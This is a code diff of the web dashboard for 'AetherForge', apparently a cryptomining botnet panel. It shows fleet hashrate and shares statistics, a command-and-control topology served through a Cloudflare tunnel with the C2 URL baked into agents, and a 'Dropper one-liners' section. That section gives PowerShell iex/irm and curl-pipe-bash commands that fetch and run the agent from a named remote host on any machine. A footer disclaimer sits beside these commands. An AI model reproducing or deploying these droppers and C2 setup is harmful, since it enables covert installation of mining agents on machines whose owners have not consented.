||||
<div className="stat-label font-tech">Fleet Compute</div>
|
||||
<div className="stat-value neon-glow-cyan">
|
||||
{totalCores > 0 ? totalCores.toLocaleString() : '—'}
|
||||
<span className="stat-dim" style={{ fontSize: '0.8em' }}> cores</span>
|
||||
</div>
|
||||
<div className="stat-sub">{onlineCount} nodes active</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="green" className="stat-card-wrap">
|
||||
<div className="stat-label font-tech">Fleet Uptime</div>
|
||||
<div className="stat-value accepted">
|
||||
{totalUptimeHours >= 1 ? totalUptimeHours.toFixed(0).replace(/\B(?=(\d{3})+(?!\d))/g, ',') : '< 1'}
|
||||
<span className="stat-dim" style={{ fontSize: '0.8em' }}> hrs</span>
|
||||
</div>
|
||||
<div className="stat-sub">cumulative across fleet</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="purple" className="stat-card-wrap">
|
||||
<div className="stat-label font-tech">Shares / hr</div>
|
||||
<div className="stat-value neon-glow-purple">
|
||||
{sharesPerHour > 0 ? sharesPerHour.toLocaleString() : '—'}
|
||||
</div>
|
||||
<div className="stat-sub">{totalShares.toLocaleString()} total submitted</div>
|
||||
</NeonCard>
|
||||
</div>
|
||||
|
||||
{/* ── Analytics row — always visible ─────────────────────────────────── */}
|
||||
@@ -301,17 +370,20 @@ export default function DashboardPage() {
|
||||
<NeonCard accent="cyan" tilt3d>
|
||||
<HashrateChart data={hashHistory} title="Fleet Hashrate Wave" color="#00f5ff" unit="H/s" height={300} />
|
||||
</NeonCard>
|
||||
{advancedMode && (
|
||||
<NeonCard accent="magenta" tilt3d>
|
||||
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={300} />
|
||||
</NeonCard>
|
||||
)}
|
||||
<NeonCard accent="purple" tilt3d>
|
||||
<HashrateChart data={acceptHistory} title="Accept Rate Pulse" color="#a855f7" unit="%" height={300} />
|
||||
</NeonCard>
|
||||
</div>
|
||||
|
||||
{advancedMode && (
|
||||
<NeonCard accent="brass" className="chart-row-full" tilt3d>
|
||||
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
|
||||
</NeonCard>
|
||||
<div className="grid-2 chart-row">
|
||||
<NeonCard accent="magenta" tilt3d>
|
||||
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={220} />
|
||||
</NeonCard>
|
||||
<NeonCard accent="brass" tilt3d>
|
||||
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
|
||||
</NeonCard>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<NeonCard accent="purple" className="section" hud>
|
||||
|
||||
@@ -4,6 +4,7 @@ import {
|
||||
CHEAT_SECTIONS,
|
||||
PIPELINE_STEPS,
|
||||
TROUBLESHOOTING,
|
||||
type CheatStep,
|
||||
} from '../help/cheatSheetContent';
|
||||
import {
|
||||
ForgeCalibrateCompare,
|
||||
@@ -12,6 +13,80 @@ import {
|
||||
} from '../components/Visual/VisualComponents';
|
||||
import './Pages.css';
|
||||
|
||||
/** Inline code block with copy button */
|
||||
function CodeBlock({ code }: { code: string }) {
|
||||
const copy = () => navigator.clipboard?.writeText(code);
|
||||
return (
|
||||
<div className="guide-code-block">
|
||||
<pre className="guide-code-pre">{code}</pre>
|
||||
<button type="button" className="guide-code-copy" onClick={copy} title="Copy to clipboard">
|
||||
Copy
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** A single step card — shows body, tips, optional code example, optional nav button */
|
||||
function StepCard({ step }: { step: CheatStep }) {
|
||||
return (
|
||||
<div className="guide-step-card">
|
||||
<div className="guide-step-num">{step.icon}</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>{step.title} <span className="guide-step-sub">— {step.subtitle}</span></h4>
|
||||
<p>{step.body}</p>
|
||||
{step.tips && (
|
||||
<ul className="guide-tips">
|
||||
{step.tips.map((t) => <li key={t}>{t}</li>)}
|
||||
</ul>
|
||||
)}
|
||||
{step.code && <CodeBlock code={step.code} />}
|
||||
</div>
|
||||
{step.route && (
|
||||
<Link to={step.route} className="btn btn-outline btn-sm guide-step-btn">
|
||||
{step.routeLabel || 'Open'}
|
||||
</Link>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** ASCII topology diagram — portable self-configuring setup */
|
||||
function TopologyDiagram() {
|
||||
const lines = [
|
||||
' ┌──────────────────────────────────────────────────────────────────────┐',
|
||||
' │ USB / Portable Machine (any network) │',
|
||||
' │ │',
|
||||
' │ ┌──────────────────────────────────────────────────────────────┐ │',
|
||||
' │ │ LAUNCH.bat │ │',
|
||||
' │ │ │ │',
|
||||
' │ │ 1. Installs cloudflared if missing (bundled MSI) │ │',
|
||||
' │ │ 2. Stages credentials.json from cloudflare\\ folder │ │',
|
||||
' │ │ 3. Writes fresh config.yml → 127.0.0.1:8989 │ │',
|
||||
' │ │ 4. Starts cloudflared tunnel (skips if already running) │ │',
|
||||
' │ │ 5. Starts AetherForge.exe on 0.0.0.0:8989 │ │',
|
||||
' │ └────────────────────────┬─────────────────────────────────────┘ │',
|
||||
' │ │ localhost │',
|
||||
' │ ┌─────────────┴──────────────┐ │',
|
||||
' │ │ cloudflared named tunnel │ │',
|
||||
' │ │ aetherforge-c2 │──────────────▶ CF Edge │',
|
||||
' │ └─────────────────────────────┘ │ │',
|
||||
' └────────────────────────────────────────────────────────────────────┘ ',
|
||||
' │',
|
||||
' https://killa.thetempleofdoom.com (permanent) │',
|
||||
' │',
|
||||
' ┌───────────────┬───────────────┐ │',
|
||||
' ▼ ▼ ▼ │',
|
||||
' [Agent PC] [Agent PC] [Agent PC] ◀──-┘',
|
||||
' any network any network any network',
|
||||
' baked C2 URL baked C2 URL baked C2 URL',
|
||||
];
|
||||
return (
|
||||
<div className="guide-topology">
|
||||
<pre className="guide-topology-pre">{lines.join('\n')}</pre>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function GuidePage() {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
@@ -20,11 +95,12 @@ export default function GuidePage() {
|
||||
<p className="deck-eyebrow font-tech">OPERATIONS MANUAL</p>
|
||||
<h1>Field Guide</h1>
|
||||
<p className="page-subtitle">
|
||||
Visual cheat sheet — what each page does, how the pipeline works, and what to fix when things break.
|
||||
Everything you need — pipeline, network topology, one-liner commands, Fusion, AI Autonomy, and fixes for when things break.
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{/* ── Live pipeline ── */}
|
||||
<NeonCard accent="cyan" className="section" hud>
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Live pipeline
|
||||
@@ -33,73 +109,103 @@ export default function GuidePage() {
|
||||
<PipelineFlow />
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Network topology ── */}
|
||||
<NeonCard accent="amber" className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Network topology
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
AetherForge binds to <code className="mono-sm">0.0.0.0:PORT</code> — it does not need to know about Cloudflare.
|
||||
A separate machine runs <code className="mono-sm">cloudflared</code> and tunnels external traffic to the C2's LAN IP.
|
||||
Agents connect to the Cloudflare tunnel URL baked at Forge time.
|
||||
</p>
|
||||
<TopologyDiagram />
|
||||
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
|
||||
<div className="guide-step-num">💡</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>How it works on any machine</h4>
|
||||
<ul className="guide-tips">
|
||||
<li>Plug in USB → run <code className="mono-sm">LAUNCH.bat</code> — cloudflared installs + tunnel starts automatically</li>
|
||||
<li>AetherForge binds <code className="mono-sm">0.0.0.0:8989</code> — cloudflared connects to <code className="mono-sm">127.0.0.1:8989</code></li>
|
||||
<li>Public URL never changes: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
|
||||
<li>Forge Control Endpoint: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
|
||||
<li>Backup C2 in Forge: <code className="mono-sm">http://192.168.x.x:8989</code> (LAN fallback)</li>
|
||||
<li>One-time setup: see <code className="mono-sm">cloudflare/SETUP.txt</code> on the USB</li>
|
||||
</ul>
|
||||
<CodeBlock code={`# One-time setup (any machine, done once):
|
||||
cloudflared tunnel login
|
||||
cloudflared tunnel create aetherforge-c2
|
||||
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
|
||||
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json
|
||||
|
||||
# After that — just run:
|
||||
LAUNCH.bat`} />
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Forge vs Calibrate ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Forge vs Calibrate
|
||||
<span className="section-ornament">◆</span> Forge vs Calibrate — what goes where
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<ForgeCalibrateCompare />
|
||||
</section>
|
||||
|
||||
{/* ── Dropper one-liners quick-ref ── */}
|
||||
<NeonCard accent="green" className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Dropper one-liners
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first — then send one of these to any machine. Terminal closes automatically after the agent launches. Hostname is permanent via named Cloudflare tunnel.
|
||||
</p>
|
||||
<div className="guide-dropper-grid">
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Windows</span>
|
||||
<CodeBlock code={`iex (irm 'https://killa.thetempleofdoom.com/install.ps1')`} />
|
||||
</div>
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Linux / macOS</span>
|
||||
<CodeBlock code={`curl -sL https://killa.thetempleofdoom.com/install.sh | bash`} />
|
||||
</div>
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Direct binary</span>
|
||||
<CodeBlock code={`https://killa.thetempleofdoom.com/get?os=windows
|
||||
https://killa.thetempleofdoom.com/get?os=linux
|
||||
https://killa.thetempleofdoom.com/get`} />
|
||||
</div>
|
||||
</div>
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
Dropper endpoints are unauthenticated — the URL is the gate. Dashboard requires login. Tunnel auto-starts with LAUNCH.bat on any machine.
|
||||
</p>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Detailed section steps ── */}
|
||||
{CHEAT_SECTIONS.filter((s) => s.steps && s.id !== 'pipeline').map((section) => (
|
||||
<section key={section.id} className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> {section.title}
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint">{section.description}</p>
|
||||
{section.steps?.map((step) => (
|
||||
<div key={step.id} className="guide-step-card">
|
||||
<div className="guide-step-num">{step.icon}</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>{step.title} — {step.subtitle}</h4>
|
||||
<p>{step.body}</p>
|
||||
{step.tips && (
|
||||
<ul className="guide-tips">
|
||||
{step.tips.map((t) => (
|
||||
<li key={t}>{t}</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
{step.route && (
|
||||
<Link to={step.route} className="btn btn-outline btn-sm">
|
||||
{step.routeLabel || 'Open'}
|
||||
</Link>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>{section.description}</p>
|
||||
{section.steps?.map((step) => <StepCard key={step.id} step={step} />)}
|
||||
</section>
|
||||
))}
|
||||
|
||||
{/* ── Step-by-step pipeline detail ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Step-by-step (detailed)
|
||||
<span className="section-ornament">◆</span> Step-by-step (pipeline detail)
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
{PIPELINE_STEPS.map((step) => (
|
||||
<div key={step.id} className="guide-step-card">
|
||||
<div className="guide-step-num">{step.icon}</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>{step.title} — {step.subtitle}</h4>
|
||||
<p>{step.body}</p>
|
||||
{step.tips && (
|
||||
<ul className="guide-tips">
|
||||
{step.tips.map((t) => (
|
||||
<li key={t}>{t}</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
{step.route && (
|
||||
<Link to={step.route} className="btn btn-primary btn-sm">
|
||||
{step.routeLabel}
|
||||
</Link>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
{PIPELINE_STEPS.map((step) => <StepCard key={step.id} step={step} />)}
|
||||
</section>
|
||||
|
||||
{/* ── Troubleshooting ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Troubleshooting
|
||||
@@ -115,16 +221,18 @@ export default function GuidePage() {
|
||||
</NeonCard>
|
||||
</section>
|
||||
|
||||
{/* ── Roadmap ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Product roadmap
|
||||
<span className="section-ornament">◆</span> Feature status
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '1rem' }}>
|
||||
Shipped capabilities (high/medium) and remaining low-priority ideas.
|
||||
Shipped (high), in progress (medium), and planned (low) capabilities.
|
||||
</p>
|
||||
<RoadmapGrid />
|
||||
</section>
|
||||
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
|
||||
@@ -966,6 +966,11 @@
|
||||
text-shadow: 0 0 20px rgba(178, 75, 243, 0.5);
|
||||
}
|
||||
|
||||
.neon-glow-gold {
|
||||
color: var(--brass-light) !important;
|
||||
text-shadow: 0 0 20px rgba(232, 197, 71, 0.55);
|
||||
}
|
||||
|
||||
.chart-row-full {
|
||||
margin-bottom: 2rem;
|
||||
}
|
||||
@@ -1332,3 +1337,168 @@ button.deliverable-card .form-hint {
|
||||
align-items: center;
|
||||
margin-top: 0.75rem;
|
||||
}
|
||||
|
||||
/* ── Forge progress bar ───────────────────────────────────────── */
|
||||
.forge-progress-wrap {
|
||||
margin-top: 1rem;
|
||||
margin-bottom: 0.5rem;
|
||||
padding: 0.75rem 1rem;
|
||||
border: 1px solid rgba(255, 140, 0, 0.35);
|
||||
border-radius: 6px;
|
||||
background: rgba(255, 100, 0, 0.06);
|
||||
animation: forge-progress-fadein 0.25s ease;
|
||||
}
|
||||
|
||||
@keyframes forge-progress-fadein {
|
||||
from { opacity: 0; transform: translateY(4px); }
|
||||
to { opacity: 1; transform: translateY(0); }
|
||||
}
|
||||
|
||||
.forge-progress-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
margin-bottom: 0.55rem;
|
||||
}
|
||||
|
||||
.forge-progress-icon {
|
||||
font-size: 0.95rem;
|
||||
animation: forge-spin 1.4s linear infinite;
|
||||
display: inline-block;
|
||||
color: #ff8c00;
|
||||
}
|
||||
|
||||
@keyframes forge-spin {
|
||||
from { transform: rotate(0deg); }
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.forge-progress-stage {
|
||||
flex: 1;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.8rem;
|
||||
color: #ffb347;
|
||||
letter-spacing: 0.04em;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.forge-progress-pct {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.8rem;
|
||||
font-weight: 700;
|
||||
color: #ffd700;
|
||||
min-width: 3rem;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.forge-progress-track {
|
||||
position: relative;
|
||||
height: 6px;
|
||||
background: rgba(255, 255, 255, 0.08);
|
||||
border-radius: 4px;
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
.forge-progress-fill {
|
||||
height: 100%;
|
||||
border-radius: 4px;
|
||||
background: linear-gradient(90deg, #ff6a00, #ffb300, #ffd700);
|
||||
box-shadow: 0 0 8px rgba(255, 160, 0, 0.6);
|
||||
transition: width 0.35s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.forge-progress-glow {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
transform: translate(-50%, -50%);
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
border-radius: 50%;
|
||||
background: rgba(255, 200, 50, 0.5);
|
||||
box-shadow: 0 0 10px 4px rgba(255, 160, 0, 0.6);
|
||||
pointer-events: none;
|
||||
z-index: 2;
|
||||
animation: forge-glow-pulse 0.8s ease-in-out infinite alternate;
|
||||
}
|
||||
|
||||
@keyframes forge-glow-pulse {
|
||||
from { opacity: 0.6; transform: translate(-50%, -50%) scale(0.85); }
|
||||
to { opacity: 1; transform: translate(-50%, -50%) scale(1.15); }
|
||||
}
|
||||
|
||||
/* ── Forge last-build compact strip ─────────────────────────────────────── */
|
||||
.forge-last-build-strip {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.6rem;
|
||||
margin-top: 0.75rem;
|
||||
padding: 0.6rem 0.85rem;
|
||||
background: rgba(0, 255, 120, 0.06);
|
||||
border: 1px solid rgba(0, 255, 120, 0.3);
|
||||
border-radius: 6px;
|
||||
animation: forge-strip-appear 0.25s ease;
|
||||
}
|
||||
|
||||
@keyframes forge-strip-appear {
|
||||
from { opacity: 0; transform: translateY(-4px); }
|
||||
to { opacity: 1; transform: translateY(0); }
|
||||
}
|
||||
|
||||
.forge-last-build-info {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.55rem;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.forge-last-build-check {
|
||||
font-size: 1.1rem;
|
||||
color: #00ff88;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.forge-last-build-name {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.82rem;
|
||||
color: #c8ffd4;
|
||||
font-weight: 600;
|
||||
margin-right: 0.3rem;
|
||||
}
|
||||
|
||||
.forge-last-build-size {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.72rem;
|
||||
color: #888;
|
||||
margin-right: 0.35rem;
|
||||
}
|
||||
|
||||
.forge-last-build-tag {
|
||||
display: inline-block;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.6rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.08em;
|
||||
padding: 0.08rem 0.38rem;
|
||||
border-radius: 3px;
|
||||
background: rgba(255, 140, 0, 0.15);
|
||||
border: 1px solid rgba(255, 140, 0, 0.4);
|
||||
color: #ffb04c;
|
||||
margin-right: 0.2rem;
|
||||
}
|
||||
|
||||
.forge-last-build-actions {
|
||||
display: flex;
|
||||
gap: 0.45rem;
|
||||
align-items: center;
|
||||
flex-shrink: 0;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.btn-sm {
|
||||
font-size: 0.78rem;
|
||||
padding: 0.28rem 0.7rem;
|
||||
}
|
||||
|
||||
@@ -24,6 +24,7 @@ export interface Agent {
|
||||
arch?: string;
|
||||
os_version?: string;
|
||||
capabilities?: AgentCapabilities;
|
||||
ssh_available?: boolean;
|
||||
}
|
||||
|
||||
export interface AgentCapabilities {
|
||||
@@ -80,6 +81,8 @@ export interface BuildRecord {
|
||||
platform?: string;
|
||||
bundle_size?: number;
|
||||
download_url?: string;
|
||||
/** When true this build is served by /get and /install.* dropper endpoints */
|
||||
pinned?: boolean;
|
||||
}
|
||||
|
||||
/** Alias used in components that deal with forged builds */
|
||||
|
||||
@@ -19,6 +19,7 @@ export interface WSStatsUpdate {
|
||||
uptime_seconds?: number;
|
||||
shares_submitted?: number;
|
||||
shares_accepted?: number;
|
||||
ssh_available?: boolean;
|
||||
}
|
||||
|
||||
export interface WSCommandResult {
|
||||
|
||||
22
server/web/src/vite-env.d.ts
vendored
Normal file
22
server/web/src/vite-env.d.ts
vendored
Normal file
@@ -0,0 +1,22 @@
|
||||
/// <reference types="vite/client" />
|
||||
|
||||
declare module '*.png' {
|
||||
const src: string;
|
||||
export default src;
|
||||
}
|
||||
declare module '*.jpg' {
|
||||
const src: string;
|
||||
export default src;
|
||||
}
|
||||
declare module '*.jpeg' {
|
||||
const src: string;
|
||||
export default src;
|
||||
}
|
||||
declare module '*.svg' {
|
||||
const src: string;
|
||||
export default src;
|
||||
}
|
||||
declare module '*.webp' {
|
||||
const src: string;
|
||||
export default src;
|
||||
}
|
||||
Reference in New Issue
Block a user